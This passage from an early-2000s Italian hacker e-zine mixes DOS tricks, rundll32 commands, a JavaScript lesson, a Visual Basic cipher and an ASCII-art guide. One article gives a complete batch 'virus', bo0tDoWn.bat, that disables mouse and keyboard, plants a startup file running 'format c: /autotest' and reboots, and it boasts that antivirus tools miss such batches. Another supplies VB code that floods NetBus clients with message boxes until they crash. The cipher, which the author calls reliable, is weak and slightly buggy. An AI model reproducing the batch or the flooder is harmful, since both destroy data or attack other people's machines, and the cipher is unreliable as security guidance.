|Usando il codice ASCII (American Standard Code for Input Output) possiamo far si|
|che un nostro file si chiami " .bat". (nel caso della cartella non so proprio |
|come scriververlo :-)))) ). |
| |
|Dal Prompt di MsDos scrivete: |
| |
|md ALT+255 (premete ALT e con i tasti numerici sulla parte destra della tastiera|
|digitate 255). |
| |
|Ora tramite windows andate a vedere dove avete creato quella cartella. |
|Troverete una cartella SENZA NOME! |
|Provate adesso tramite DOS a vedere quella cartella, e nell'elenco troverete qcs|
|di simile ... |
| |
| . |
| .. |
| DOCUME~1 <DIR> 28/12/01 14.47 Documenti |
| PROGRA~1 <DIR> 28/12/01 14.33 Programmi |
| SBPCI <DIR> 28/12/01 14.53 SBPCI |
| BROWSER <DIR> 28/12/01 15.11 browser |
| cONFIG CTL 98 28/12/01 14.46 Config.ctl |
| VAL BAT 1.213 10/01/02 16.14 val.bat |
| CLEANERS <DIR> 28/12/01 15.13 cleaners |
| FIREWA~1 <DIR> 28/12/01 15.27 firewalls |
| CONFIG NTO 708 06/02/02 16.43 config.nto |
| MYDOWN~1 <DIR> 03/02/02 16.22 My Downloads |
| 200202 LOG 80 21/02/02 21.10 200202.log |
| <DIR> 21/02/02 21.34 |
| LOG TXT 0 21/02/02 21.36 log.txt |
| 16 file 117.290 byte |
| 16 dir Spazio disponibile 14.660.02 MB |
| |
|Vedete l'ultima cartella? |
|Ecco cosa si presenta tramite MsDos se creerete un nome simile. |
| |
|Vale la stessa medesima cosa con i FILE. |
|Basta che usiate come nome ALT+255 ! |
| |
|Divertitevi! |
+--------------------------------------------------------------------------------+
| |
| -=< 17 >=- IL MISTERO (O IL BUG?) DEL CESTINO BASTARDO |
| |
|Tempo fa, giocando un po' col DOS da ambiente Windows, ho scoperto una cosa |
|interessante. Se noi prendiamo un file da finestra di DOS e lo mettiamo diretta-|
|mente nel cestino Es: |
| |
| copy file.xxx c:\recycled |
| |
|e poi andiamo a vedere se in Windows il cestino è pieno, scopriamo che Windows |
|non rileva il file. |
|Solitamente ogni cosa che entra in c:\recycled (il cestino) viene prontamente |
|segnalata e l'icona del cestino cambia, diventando piena. |
| |
|Tramite DOS no! |
| |
|Possiamo spostare una incredibile quantità di files e cartelle nel cestino senza|
|che nessuno se ne accorga! E il bello è che anche riavviando, Windows non rileva|
|nulla! |
| |
|Questo trucco è testato su Windows95,98 e ME. Non so se funziona su NT 2000 o XP|
+--------------------------------------------------------------------------------+
| |
| -=< 18 >=- UN ESEMPIO DI BATCH CREATO DA ME |
| |
|TIP: quello che vedete dopo le "//" è un commento scritto per farvi capire, e |
|NON deve essere assolutamente inserito nel batch! |
| |
| @echo off |
| if exist c:\temp echo s | erase c:\temp\*.* > nul // ELIMINIAMO I TEMP |
| cd %temp% //ENTRIAMO NELLA DIRECTORY DEI FILES TEMPORANEI DI WINDOWS |
| echo s | erase *.* > nul //ELIMINIAMO TUTTO QUELLO CHE C'E' |
| cd\ |
| :init // QUA SI RITORNA DOPO UN "GOTO" |
| cls //PULIAMO LO SCHERMO |
| echo ==========================================================================|
| echo ======================= =|
| echo ======================= ====== ====== == == ====== ====== == == =|
| echo Dedicato ============= ====== ====== === == ====== == == = = =|
| echo =========== a chi ===== == == ==== == == == == ==== =|
| echo mi rende la ========== ====== ====== ===== == == == == == =|
| echo ============ vita ===== ====== ====== ======== == ====== == =|
| echo difficile ============ == == == ==== == == == == =|
| echo ========= [eViLVaL] === ====== ====== == === == == == == =|
| echo ======================= ====== ====== == == == == == == =|
| echo ======================= =|
| echo ==========================================================================|
| echo ================================================== ===================|
| echo =================================================== ====================|
| echo = ================ ==================|
| echo = 1. Netstat -na ============== == == ================|
| echo = 2. Netstat -r ========= == === === == ===========|
| echo = 3. Netstat -na infinito ========= ===========|
| echo = 4. Crea log delle connessioni ========= == === === == ===========|
| echo = 5. Telnet ============== == == ================|
| echo = 6. Esci ================ ==================|
| echo = ================== ====================|
| echo ================================================== ===================|
| echo ==========================================================================|
| choice Hai 10 secondi per scegliere. /c:123456 /t:6,10 |
| if errorlevel 6 goto end |
| if errorlevel 5 goto telnet |
| if errorlevel 4 goto log |
| if errorlevel 3 goto loop |
| if errorlevel 2 goto netr |
| if errorlevel 1 goto netna |
| |
| :netna |
| cls |
| echo. //LASCIAMO UNA RIGA VUOTA |
| echo [21=FTP, 25=SMTP, 80=HTML, 110=POP3, 137,8,9 NetBIOS, 1863=MESSENGER] |
| echo. |
| netstat -na |
| pause > nul //C'E' DA PREMERE UN TASTO PER ANDARE AVANTI, IN QUESTO MODO |
| goto init //TORNA SU A :INIT

  
|
| |
| :netr |
| cls |
| echo. |
| echo [21=FTP, 25=SMTP, 80=HTML, 110=POP3, 137,8,9 NetBIOS, 1863=MESSENGER] |
| echo. |
| netstat -r |
| pause > nul |
| goto init |
| |
| :loop |
| cls |
| echo Per terminare, premere Ctrl+C. |
| pause |
| netstat 6 |
| pause > nul |
| goto init |
| |
| :log |
| cls |
| echo. |
| echo Adesso creo un log delle connessioni. |
| netstat -na > log.txt // SCRIVIAMO LE CONNESSIONI IN UN FILE |
| netstat -r >> log.txt |
| pause > nul |
| goto init |
| |
| :telnet |
| cls |
| echo. |
| echo Premi INVIO per avviare TELNET. |
| pause > nul |
| telnet //APRIAMO TELNET RICHIAMANDOLO DA QUA |
| pause > nul |
| goto init |
| |
| :end |
| exit //FINE DELL'ESECUZIONE |
| |
|Questo non è nient'altro che un piccolo batch che permette di monitorare le |
|connessioni con poco sforzo da parte dell'utente. In piu' ha qualche utilità |
|come il fatto di aprire Telnet ecc ... |
| |
|Se volete usarlo, siete liberissimi di farlo! |
+--------------------------------------------------------------------------------+
| |
| -=< 19 >=- RUNDLL32 - LE FUNZIONI OCCULTATE |
| |
|C'è un componente fondamentale di Windows, chiamato RUNDLL, che di fatto è un |
|file importantissimo, ma del quale si conosce poco l'utilità. |
| |
|In ambiente DOS è possibile utilizzarlo per le cose piu impensabili, come per |
|esempio disabilitare mouse, tastiera, aprire una connessione telnet, NetMeeting |
|o simili diavolerie. |
| |
|Qua di seguito vi riporto quelli che ho scoperto in giro per la rete o spulcian-|
|do tra le impostazioni dei files in Win98. |
| |
|Disabilitazione di mouse e tastiera: |
| |
| rundll32 mouse,disable |
| rundll32 keyboard,disable |
| |
|Aprire GRAFICAMENTE delle cartelle |
| |
| rundll32.exe url.dll,FileProtocolHandler c:\cartella |
| |
|Aprire una connessione telnet |
| |
| rundll32.exe url.dll,TelnetProtocolHandler server.smtp.it:25 |
| |
|SPEGNERE il computer ( o riavviarlo, a seconda dei casi) |
| |
|rundll32 kernel,exitkernel |
| |
|Adesso che conoscete questi trucchi, fate pochi danni, eh :-) ? |
+--------------------------------------------------------------------------------+
| |
| -=< 20 >=- UNA MOSTRUOSITA' (bo0tDoWn.bat) |
| |
|Qua di seguito vi illustro un piccolo ma maligno virus che ho creato per sotter-|
|rare Windows98. Come sempre non sono responsabile delle pu##anate che farete :-)|
| |
|AVVISO IMPORTANTE ... |
|==[ NON toccate questo batch se non siete ASSOLUTAMENTE in grado di fermarlo,]==|
|====[ altrimenti niente e nessuno salverà il vostro PC dalla formattazione!]====|
| |
| @echo off |
| rundll32 mouse,disable |
| rundll32 keyboard,disable |
| echo @echo off > val.bat |
| echo rundll32 mouse,disable >> val.bat |
| echo rundll32 keyboard,disable >> val.bat |
| echo format c: /autotest >> val.bat |
| move val.bat c:\windows\menuav~1\progra~1\esecuz~1 > nul |
| rundll32 kernel,exitkernel |
| |
|Cosa fa sostanzialmente? |
|La prima riga beh ... lo sapete :-) |
|La seconda e la terza riga DISABILITANO il mouse e la tastiera. |
|La terza, la quarta, la quinta, la sesta riga creano un altro file .bat con |
|dei comandi ben precisi. |
|La settima muove il file appena creato nella cartella di esecuzione automatica |
|Windows, in modo da avviare il virus allo startup di Win. |
|L'ultima riga spegne il computer (o lo riavvia ... non ho ancora ben chiaro, ma |
|a volte su certi pc mi è capitato che si spenga o si riavvii). |
|Dov'è il danno? |
|Semplice, che disabilita mouse, tastiera all'inizio, poi riavvia il computer e |
|lo formatta automaticamente :-) |
+--------------------------------------------------------------------------------+
| |
| -=< 21 >=- TIRANDO LE SOMME |
| |
|Perchè scrivere dei virus via BATCH? |
|Semplice ... perchè non sono virus. |
|Un antivirus non troverà MAI un file .BAT che crea danni, poichè sono soltanto |
|degli "Innocui" comandi di DOS. |
| |
|Da notare è che un batch scritto su Windows95,98 o ME NON funzionerà in toto su |
|NT 2000 o XP. NT segue delle regole particolari, e i batch devono essere scritti|
|con altri criteri, che omettero' su questo tutorial. |
| |
| -=< eViLVaL >=- |
| |
|================================================================================|
|============================[the_harvester@libero.it]===========================|
|================================================================================|
+--------------------------------------------------------------------------------+


.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.


+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [Programmazione] -=[02]=- |
| NetBusFucker AntLamer Bondo |
+--------------------------------------------------------------------------------+
| |
| _ _ |
| _| |_| ____ _ |
| __ _ _/_ _|_ _ _ ____| __| __| | _ ___ _ _ |
| | | \/ _ \ | \[ | | __] __| ] _\|/ | _ \ ^_| |
| | | __/ | | | | |__ | | | | (|_ < __/ | |
| [__|__]___]_]\___|__/[___/|_|__/\___/|\_|___]_] by bondo |
| |
| |
| Aiuto! Mi si è aperto il lettore cd... |
| |
+--------------------------------------------------------------------------------+
| |
|Ultimamente, c'è in giro molta (anzi, troppa) gente very lamer, che se ne va |
|allegramente scannando interi range di indirizzi ip sulla porta 12345, alla |
|ricerca di un povero ignaro e sfortunato computer con il NetBus che gira. |
| |
|Te ne puoi accorgere il sabato pomeriggio, quando il firewall ti segnala ogni |
|3x2 un tentativo di accesso su quella porta. |
| |
|Da quando è uscito il nuovo SubSeven, la tendenza di utilizzare NetBus è dimi- |
|nuita, anche se non si può certo dire che sia svanita. Poichè questa gentaglia |
|che occupa banda inutilmente si suppone voglia trovare un computer sul quale |
|fare un po' di danni, mi stà leggermente poco simpatica e visto che voglio vede-|
|re un computer crashato (eh già, pochi si accontentano di aprire lo sportellino |
|del cd - tanti cancellano pesante), perchè non crashargli proprio il loro? |
| |
|Dovete sapere che il server (vittima) può far comparire sul client (bastardo) un|
|message box, semplicemente inviandogli una stringa del tipo: |
| |
|Info;testodamandare |
| |
|La particolarità di queste message box è che finchè non le chiudi, non puoi sma-|
|nettare con il client del NetBus (se provate a cliccare nella finestra del |
|NetBus, windows si incazza e vi spara nelle casse il 'Ding.wav' di errore). |
| |
|E se io mandassi al client, che ne so, 100 message box così? Beh, lo stronzetto |
|di turno dovrebbe cliccare su Ok di tutte e 100 le finestrelle comparse prima di|
|poter utilizzare il NetBus. Diciamo che il numero di Info da mandare può essere |
|unsigned long a piacere', ovvero finchè crasha o chiude la connessione. |
| |
|Per fare tutto ciò, ho scritto un programmino che mi gira in background e se ne |
|stà in ascolto su quella cazzo di 12345 in attesa di qualcuno che voglia un po' |
|di finestrelle. |
| |
|Il funzionamento è semplicissimo: quando qualcuno di connette, gli manda la |
|stringa 'NetBus 1.60' che identifica la versione del server e specifica che non |
|è richiesta alcuna password. A questo punto, parte la routine di invio delle |
|finestrelle con la frasetta che avete pecificato. |
| |
|Da notare che dal vostro computer continueranno a uscire dati per il client del |
|trojan, quindi evitate cicli infiniti (while(1) non sono di norma ben tollerati)|
| |
|Il programma l'ho scritto in VB perchè avevo un po' fretta (fretta rulez!). |
| |
| Ecco il sorgente... |
| |
| Private Sub Command1_Click() |
| Form1.Visible = False |
| Winsock1.Close |
| Winsock1.Listen |
| End Sub |
| |
| Private Sub Form_Load() |
| Winsock1.LocalPort = 12345 |
| Winsock1.Listen |
| End Sub |
| |
| Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) |
| If (Winsock1.State <> sckClosed) Then Winsock1.Close |
| Winsock1.Accept requestID |
| Form1.Visible = True |
| Text1.Text = Winsock1.RemoteHostIP |
| Text2.Text = Winsock1.RemoteHost |
| Nukkka |
| End Sub |
| |
| Private Sub Nukkka() |
| welcome$ = "NetBus 1.60" |
| mabene$ = "Info;Benvenuto, lamer del cazzo!" + vbCrLf |
| Winsock1.SendData welcome$ |
| |
| For u = 0 To 100000 'long a piacere |
| Winsock1.SendData mabene$ |
| Next u |
| End Sub |
| |
| Private Sub Winsock1_Close() |
| Winsock1.Close |
| Winsock1.Listen |
| End Sub |
| |
| Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, _ |
| ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, _ |
| ByVal HelpContext As Long, CancelDisplay As Boolean) |
| Winsock1.Close |
| Winsock1.Listen |
| End Sub |
| |
+--------------------------------------------------------------------------------+
| |
| Io ho creato un form così: |
| |
| +---------------------------+ |
| | NetBusFucker by bondo |X|| |
| +---------------------------+ |
| | Il caro amico... | |
| | _________ __________ | |
| | |IP_______| |HOSTNAME__| | |
| | | |
| | ...ha ricevuto un po' di | |
| | di finestrelle. | |
| | _______________________ | |
| | | RESET | | |
| | |_______________________| | |
| +---------------------------+ |
| |
| [Vedere allegato NetBusFucker.zip] |
| |
+--------------------------------------------------------------------------------+
| |
|che compare solo quando qualcuno si connette e indica l'indirizzo ip e l'host |
|del lamerozzo. Per imboscare ancora il form e resettare la connessione, c'è il |
|pulsantino 'reset'. Ecco l'elenco completo dei componenti utilizzati: |
| |
| - text box: IP |
| - text box: HOSTNAME |
| - command button: RESET |
| - controllo OCX del winsock |
| - zucchero quanto basta |
| |
|capitto?! |
| |
+--------------------------------------------------------------------------------+
| |
| bye bye gente |
| |
| -.~.-([ bondo ])-.~ |
| bondo@marijuana.com |
| |
+--------------------------------------------------------------------------------+


.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.


+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [Programmazione] -=[03]=- |
| Lezioni di JavaScript n° 1 -=(Gick)=- |
+--------------------------------------------------------------------------------+
| |
| _ ____ _ _ |
| | | __ ___ ____ _/ ___| ___ _ __(_)_ __ | |_ |
| _ | |/ _` \ \ / / _` \___ \ / __| '__| | '_ \| __| |
| | |_| | (_| |\ V / (_| |___) | (__| | | | |_) | |_ |
| \___/ \__,_| \_/ \__,_|____/ \___|_| |_| .__/ \__| |
| |_| |
| A cura di: -=(Gick)=- |
| |
+--------------------------------------------------------------------------------+
| |
|Benvenuti in questa serie di Lezioni sul JavaScript. Spero che siano abbastanza |
|esaurienti, in caso contrario scrivetemi e cercherò di rispondere alle vostre |
|domande... |
| |
|Comiciamo con questa prima Lezione... |
| |
|I sorgenti scritti in JavaScript possono essere scritti o in una Pagina Web o |
|in un file apparte con estensione .js |
| |
|Noi prenderemo in considerazione la prima Ipotesi, quindi tutte le istruzioni le|
|dovrete scrivere nei tag: (spero che abbiate una minima conoscenza dell'HTML...)|
| |
| <SCRIPT language="javascript"> |
| ***QUI' VA LO SCRIPT*** |
| </SCRIPT> |
| |
|Un esempio di Script potrebbe essere: |
| |
| document.write("Questo testo l'ho scritto con JavaScript!"); |
| |
|Inserendo questo codice un una pagina web, nel posto in cui verrà inserito ci |
|sarà la Scritta: Questo testo l'ho scritto con JavaScript! |
|Ricordatevi di inserirlo fra i tag <SCRIPT> e </SCRIPT> |
| |
+--------------------------------------------------------------------------------+
| |
|JavaScript come gli altri linguaggi di programmazione, anche se non lo si può |
|considerare tale poiché per funzionare uno script deve avere il supporto del |
|browser, può far uso di variabili. |
| |
|Le variabili sono molto semplici e ne esistono solo di un tipo. Si dichiarano: |
| |
| var nomevariabile |
| |
|E gli si da un valore con un'assegnazione. Esempio |
| |
| nomevariabile = "Ciao da -=(GicK)=-" |
| |
|Proviamo a modificare lo script di prima aggiungendo le righe: |
| |
| var nomevariabile |
| nomevariabile = "Ciao da -=(GicK)=-" |
| document.write("<br>"nomevariabile); |
| |
|E otterremo la scritta: |
| |
| Questo testo l'ho scritto con JavaScript |
| Ciao da -=(Gick)=- |
| |
|Come avrete notato la riga è andata a capo grazie all'istruzione html <br>, è |
|infatti possibile passare da JS anche parametri all'HTML! |
| |
|Fin qui non dovrebbero esserci problemi giusto??? |
| |
+--------------------------------------------------------------------------------+
| |
|Passiamo a qualcosa di più concreto... Ora parleremo del comando Prompt |
| |
|Aggiungete semre in coda al solito JS creato precedentemente le seguenti righe: |
| |
| var nome |
| nome=prompt("Inserisci il tuo nome","") |
| document.write("<br> Ciao " + nome); |
| |
|Ora eseguite la Pagina web e verrà visualizzato una finestra che vi chiederà di |
|inserire il vostro nome, fatelo e vederete scritto sulla pagina ciò che avete |
|inserito... |
| |
|Se siete stati attenti avrete notato che nel prompt dopo la srtinga "Inserisci |
|il tuo nome" c'è una virgoma e "". Se voi inserite tra quelle virgolette una |
|parola qualsiasi e riaprite la pagina, vedrete che nel Prompt ci sarà scritto |
|quello che avete scelto voi ma sarà comunque possibile modificarlo... |
| |
+--------------------------------------------------------------------------------+
| |
|Ora vedremo come creare delle finestre contenenti dei messaggi. |
| |
|Sempre in coda al vostro JS aggiungete: |
| |
| var nome2 |
| nome2 = prompt("Inserisci di nuovo il tuo nome", nome) |
| var conferma |
| conferma = confirm("Sei sicuro di chiamarti " + nome2 + " ?"); |
| if(conferma) |
| alert("Benvenuto " + nome2 + " !!!"); |
| else |
| alert("Ma non sai nemmeno come ti chiami???"); |
| |
|Quì vediamo l'uso di 3 nuovi comandi: confirm("") Crea una finestra con la pos- |
|sibilità di rispondere OK oppure Annulla e alert("") Crea una finestra con solo |
|il pulsante OK. |
| |
|Poi vediamo l'istruzione IF che in questo caso controlla che il valore della var|
|conferma sia true ovvero che sia stato cliccato OK e in quel caso da un alert in|
|caso contrario, ELSE da un'altro alert! |
| |
|Nell'IF si possono usare i seguenti operatori: |
| |
| var1 == var2 Vero se sono uguali |
| var1 > var2 Vero se la prima è maggiore della seconda |
| var1 < var2 Vero se la seconda è maggiore della prima |
| var1 >= var2 Vero se la prima è maggiore o uguale alla seconda |
| var1 <= var2 Vero se la prima è minore o uguale alla seconda |
| |
+--------------------------------------------------------------------------------+
| |
|Beh, per stavolta è tutto e ricordatevi di provare, provare e provare, è questo |
|il miglior metodo per imparare... |
|Alla prossima Lezione -=(Gick)=- |
| |
+--------------------------------------------------------------------------------+


.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.


+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [Programmazione] -=[04]=- |
| Criptare con Visual Basic Termo Zlorfik |
+--------------------------------------------------------------------------------+
| |
| Termo Zlorfik <zlorfik at hotmail dot com> |
| |
|Un semplice sistema di cifratura in vb (facile) che parla anche dei pokemon (per|
|la gioia di vostra sorellina :) by t3rm0 |
| |
+--------------------------------------------------------------------------------+
| |
| Premessa |
| |
|Ho appena connesso il mio commodore 64 al cervello perciò non aspettatevi niente|
|di speciale comunque il vecchio lettore floppy dovrebbe funzionare e carico il |
|mio sistema operativo... Il lettore dvd del commodore non funge, c'è qualcosa |
|che non va... musica ascoltata: d12, nirvana, methods of mayhem, fritz da cat il|
|tutto in winamp! |
| |
+--------------------------------------------------------------------------------+
| |
| Intro |
| |
|Beh volete un modo per cifrare i vostri file che sia veloce e affidabile (questo|
|è da vedere :)? Eccolo: Signore e signori "AGENT JENNY" che sarebbe l'agente |
|jenny dei pokemon :P. |
| |
+--------------------------------------------------------------------------------+
| |
| Teoria |
| |
|Questo sistema è a chiave privata, perciò sia il mittente che il destinatario |
|devono avere la stessa chiave... Il sistema si basa sulla somma della stringa |
|alla password. Si lo so che sembra un sistema scemo però il risultato c'è e c'è |
|anche modo di migliorarlo. Il carattere cifrato è la somma ascii del carattere |
|originale + un carattere della password che viene preso per successione. Se una |
|somma diventa + di 255 allora gli viene sottratto 255. |
| |
|Esempio: Dobbiamo cifrare una stringa "MASCIA HA LE TETTE GRANDI" con la pasword|
|"LALLA". Sommeremo M con L, A con A, S con L, C con L, A con A, e così via. |
|Quando i caratteri della password sono stati usati tutti ricominceremo dal primo|
| |
+--------------------------------------------------------------------------------+
| |
| Pratica |
| |
|Ecco il codice di VB con relative spiegazioni Cifratura |
| |
+----------------------------< Taglia qui>---------------------------------------+
| |
|Public Function Cifra(stringa, password) As String |
| Dim contatore1 as integer, contatore2 as integer, temp as integer |
| contatore2 = 1 |
| For contatore1 = 1 to len(stringa) |
| temp = asc(mid(stringa,contatore1,1)) + asc(mid(password,contatore2,1)) |
| if temp > 255 then temp = temp - 255 |
| contatore2 = contatore2 + 1 |
| if contatore2 = len(password) then contatore2 = 1 |
| cifra = cifra & chr(temp) |
| Next |
|End function |
| |
+-----------------------------< Taglia qui>--------------------------------------+
| |
|Con mid estraiamo un solo carattere da password e stringa. Con asc ne otteniamo |
|il codice numerico che andremo ad utilizzare per la somma. Quindi se abbiamo due|
|caratteri, 90 e 200, dovremo fare 90+200=290. Ma i codici ascii arrivano sino a |
|255 perciò a noi questo valore non va bene. Per ottenere un valore accettabile |
|facciamo 290-255=35. 35 è il codice del carattere cifrato che andremo a scrivere|
|Per ogni ciclo abbiamo il codice ascii del carattere da utilizzare memorizzato |
|nella variabile temp. Potremo trasformarlo in carattere con chr(temp). |
| |
+--------------------------------------------------------------------------------+
| |
| Decifratura |
| |
+-----------------------------< Taglia qui>--------------------------------------+
| |
|Public Function Decifra(stringa, password) As String |
| Dim contatore1 as integer, contatore2 as integer, temp as integer |
| contatore2 = 1 |
| For contatore1 = 1 to len(stringa) |
| temp = asc(mid(stringa,contatore1,1)) - asc(mid(password,contatore2,1)) |
| if temp < 0 then temp = temp + 255 |
| contatore2 = contatore2 + 1 |
| if contatore2 = len(password) then contatore2 = 1 |
| decifra = decifra & chr(temp) |
| Next |
|End function |
| |
+-----------------------------< Taglia qui>--------------------------------------+
| |
|Notiamo diverse similitudini con la routine di cifratura vista sopra. |
|Per riottenere il carattere originario abbiamo il carattere cifrato, 35, e il |
|carattere di password, 200. 35-200=-165, e ancora questo carattere non va bene, |
|perciò -165+255=90 ci ridarà il carattere che avevamo cifrato in alto (90+200, |
|vi ricordate?) |
|NB: Facciamo attenzione a maiuscole e minuscole nel digitare la password perché |
|i caratteri maiuscoli hanno un codice ascii diverso da quelli minuscoli! |
|Contenti ora sapete come realizzare un sistema di cifratura. Il mio "Agent |
|Jenny" e' funzionale ma ha ancora qualche piccolo difetto cmq sta a voi miglio- |
|rarlo! E ricorda: prendere ispirazione non è copiare! |
|Per chi volesse mailarmi il mio indirizzo è zlorfik@hotmail.com, e comunque tra |
|poco avrò un mio gruppo, non limitato ai soli guru ma aperto a chiunque abbia |
|voglia di collaborare, creare, divertirsi... vi farò avere notizie... |
| |
+--------------------------------------------------------------------------------+
| |
| Thx: |
| |
|Lord shinva, la tua guida e' un mito... |
|Cavallo ti va se ti lascio il mio windows 1.0 per trovare qualche bug? |
|Bill Gates, in fondo è un bravo ragazzo... Ciao tutto rego? |
|Tutti i bboy di cagliari.. i punk |
| |
|La mia ragazza Fede ciao tvvtrb! |
| |
+--------------------------------------------------------------------------------+
| |
| [Vedere allegato Encript.zip] |
| |
+--------------------------------------------------------------------------------+

____ __ _
/ ___|_ __ __ _ / _(_) ___ __ _
| | _| '__/ _` | |_| |/ __/ _` |
| |_| | | | (_| | _| | (_| (_| |
\____|_| \__,_|_| |_|\___\__,_|


+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [Grafica] -=[05]=- |
| Ascii-Art Salvo B |
+--------------------------------------------------------------------------------+
| |
| _______________________________________ |
| / \ |
| | | |
| | [*] Filename: ascii-art.txt | |
| | [*] Description: hints about the | |
| | ascii-art on linux and the aa-lib | |
| | [*] Author: Salvo B <salvob@emuita.it> | |
| | | |
| \_______________________________________/ |
| |
+--------------------------------------------------------------------------------+
| |
| [-] Intro |
| |
|Innanzitutto vorrei presentami: sono Salvo`B non penso di avere niente di parti-|
|colare rispetto al resto degli esseri umani se non di essere particolarmente |
|portato per l'informatica e di avere una continua voglia di imparare tutti gli |
|aspetti di essa (non si finisce mai). |
|Non mi sembra il caso di stressarvi con le mie esperienze di hacking e non, non |
|sono il tipo ;), quindi vado subito al sodo evitando inutili disgressioni. |
| |
| Cos'è l'Ascii-Art??? |
| |
|Alcuni di voi sicuramente avranno sentito parlare del Codice Ascii, sarebbe lo |
|standard mondiale per la codifica di caratteri all'interno del computer, i ca- |
|ratteri vengono letti sotto forma di codici binari a 7 bit, quindi a ogni carat-|
|tere viene associato un numero binario da 7 cifre. |
|lo standardAascii comprende molti caratteri che vanno oltre lettere e numeri, |
|quindi simboli di vario genere. |
| |
|Avrete sicuramente visto da qualche parte una scritta come questa: |
| |
| ____ _ ____ |
|/ ___| __ _| |_ _____ | __ ) |
|\___ \ / _` | \ \ / / _ \ | _ \ |
| ___) | (_| | |\ V / (_) | | |_) | |
||____/ \__,_|_| \_/ \___/ |____/ |
| |
| |
|E' un modo originale per scrivere le cose utilizzando i caratteri ASCII, in |
|questo caso, qualche slash e qualche pipe (il pipe sarebbe questo |) puo' |
|permetterci di creare una scritta d'impatto :) |
| |
|E' nata poi una vera mania del fare questi disegnini, conosciuta come Ascii-art.|
| |
+--------------------------------------------------------------------------------+
| |
| [-] Cosa occorre? |
| |
|La risposta piu' logica a questa domanda sarebbe "la fantasia", ma si puo' |
|comunque fare ascii-art senza dovere sclerare con il vostro editor di testi |
|preferito. |
| |
|Infatti, esistono vari programmini in grado di creare simpatiche Ascii-Art, se |
|siete utenti Windows arrangiatevi perche' non so proprio che dirvi, se siete |
|utenti linux invece possiamo cominciare una lunga lista di tutto quello che si |
|puo' fare.. |
| |
+--------------------------------------------------------------------------------+
| |
| [-] Semplici testi in Ascii |
| |
|Prima di tutto cito il famosissimo figlet, un programma per creare scritte in |
|Ascii come quella che v'ho fatto vedere prima.. ma come funziona? |
| |
|Niente di piu' semplice, basta procurarsi il programma (lo distribuiscono in |
|vari formati sia binari che sorgenti) e cominciare a smanettarci sopra. |
| |
|Quando avrete installato il programma digitate al prompt del vostro terminale |
|"figlet", a prima vista non succede nulla, ma se scrivete qualsiasi cosa... |
|magiaaa la cosa viene scitta a caratteri cubitali! |
| |
| bash-2.05# figlet |
| Microsoft Sux |
| __ __ _ __ _ ____ |
| | \/ (_) ___ _ __ ___ ___ ___ / _| |_ / ___| _ ___ __ |
| | |\/| | |/ __| '__/ _ \/ __|/ _ \| |_| __| \___ \| | | \ \/ / |
| | | | | | (__| | | (_) \__ \ (_) | _| |_ ___) | |_| |> < |
| |_| |_|_|\___|_| \___/|___/\___/|_| \__| |____/ \__,_/_/\_\ |
| |
|Zac, ecco compiuto il piccolo prodigio (ahaha abbiamo sgamato quelli che faceva-|
|no i fighi sulle e-zine ;) |
|Lo so che ti stai chiedendo, ma solo questo carattere merdoso esiste? Nooo |
|niente affatto, ci sono centinaia di fonts per figlet, ecco qualche esempio: |
| |
| @@@@@@ @@@@@@@ @@@@@@@ @@@@@@ @@@@@@@ @@@@@@@@ @@@ |
| @@@@@@@@ @@@@@@@@ @@@@@@@@ @@@@@@@@ @@@@@@@@ @@@@@@@@ @@@ |
| @@! @@@ @@! @@@ @@! @@@ @@! @@@ @@! @@@ @@! @@! |
| !@! @!@ !@! @!@ !@! @!@ !@! @!@ !@! @!@ !@! !@ |
| @!@ !@! @!@!!@! @!@!!@! @!@ !@! @!@!!@! @!!!:! @!@ |
| !@! !!! !!@!@! !!@!@! !@! !!! !!@!@! !!!!!: !!! |
| !!: !!! !!: :!! !!: :!! !!: !!! !!: :!! !!: |
| :!: !:! :!: !:! :!: !:! :!: !:! :!: !:! :!: :!: |
| ::::: :: :: ::: :: ::: ::::: :: :: ::: :: :::: :: |
| : : : : : : : : : : : : : : : : :: :: ::: |
| |
|Ma come si usano sti benedetti fonts??? |
| |
|Prima di tutto si scaricano, i file che contengono i fonts hanno estensione .flf|
|(figlet fotns penso) |
| |
| http://st-www.cs.uiuc.edu/~chai/figlet.html |
| oppure www.figlet.org |
| |
|Qua' ne trovate una catorfia (oltre a trovare il programma stesso) ora vi potete|
|sbizzarrire come meglio potete. |
| |
| |
| [PICCOLA NOTA] |
| Ora esiste anche la versione per windows (allegata alla zine) |
| [Vedere ellegato Figlet.zip] |
| |
+--------------------------------------------------------------------------------+
| |
| [-] Non solo testo |
| |
|Bene, suppongo che siete esaltatini, ora potete mettere delle belle scrittine ai|
|vostri script in bash o ai vostri MOTD, fatto sta' che grazie alla mente malata |
|di qualcuno, l'Ascii-Art non si ferma qui. |
|Tenetevi ben saldi sulla vostra sediolina... |
|Un gruppo di ragazzi cecoslovacchi un giorno, tristi perche' non potevano vedere|
|un logo che avevano appena scaricato con la loro scheda video a due colori, |
|decisero di cominciare a scrivere una libreria che convertiva le immagini in |
|disegni Ascii! |
| |
|Fu cosi' che nacque una delle cose piu' fighe che abbia mai visto, la aa-lib. |
|di per se questa libreria non fa niente (come tutte le librerie) ma esistono |
|svariati programmi che la utilizzano come lettori di file video, visualizzatori |
|di immagini, giochi, ecc. Una lista completa la trovate sul sito ufficiale |
|(http://aa-project.sourceforge.net). |
| |
+--------------------------------------------------------------------------------+
| |
| [-] Installazione delle librerie |
| |
|Quindi, niente di piu' facile, una volta scaricati gli ultimi sorgenti, |
|decomprimeteli: |
| |
| tar xvzf file_scaricato.tar.gz |
| |
|entrate nella cartella con i sorgenti |
| |
| cd aa-lib |
| |
|e date il comando per compilare (spero di non dovervelo spiegare) |
| |
| ./configure && make && make install |
| |
|se qualcosa non va siete proprio sfigati perche' queste librerie non richiedono |
|quasi nulla a parte un compilatore per essere installate correttamente (viste le|
